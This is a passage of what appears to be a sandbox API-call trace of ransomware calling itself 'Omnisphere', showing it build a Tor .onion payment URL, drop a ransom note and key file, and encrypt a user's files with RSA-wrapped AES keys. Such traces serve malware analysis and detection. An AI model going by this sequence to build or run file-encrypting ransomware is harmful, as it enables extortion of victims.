() returned 0x1600000 [0126.290] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1b68 [0126.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1b68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.290] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.290] GetProcessHeap () returned 0x1600000 [0126.290] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0208 [0126.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0208, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.290] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.290] GetProcessHeap () returned 0x1600000 [0126.290] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf8c0 [0126.291] PathCombineW (in: pszDest=0x16bf8c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.291] GetProcessHeap () returned 0x1600000 [0126.291] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d0970 [0126.291] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.291] WriteFile (in: hFile=0x28c, lpBuffer=0x16d0970*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d0970*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.291] CloseHandle (hObject=0x28c) returned 1 [0126.291] GetProcessHeap () returned 0x1600000 [0126.291] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.291] GetProcessHeap () returned 0x1600000 [0126.291] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.291] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.291] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.291] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.292] CloseHandle (hObject=0x28c) returned 1 [0126.292] GetProcessHeap () returned 0x1600000 [0126.292] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.292] GetProcessHeap () returned 0x1600000 [0126.292] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656e08 | out: hHeap=0x1600000) returned 1 [0126.292] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20eaee66, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20eaee66, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20eaee66, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0xd3, cFileName="jqcAEx4629aPNG4Ha.lnk", cAlternateFileName="JQCAEX~1.LNK")) returned 1 [0126.292] GetProcessHeap () returned 0x1600000 [0126.292] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16bef68 [0126.292] PathCombineW (in: pszDest=0x16bef68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="jqcAEx4629aPNG4Ha.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk" [0126.292] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jqcaex4629apng4ha.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.292] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1288) returned 1 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.292] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] GetTickCount () returned 0x115f847 [0126.293] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.294] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.294] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.294] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.294] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x508, lpName=0x0) returned 0x288 [0126.294] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x508) returned 0x1480000 [0126.294] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ce0) returned 1 [0126.295] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0126.295] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.297] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] 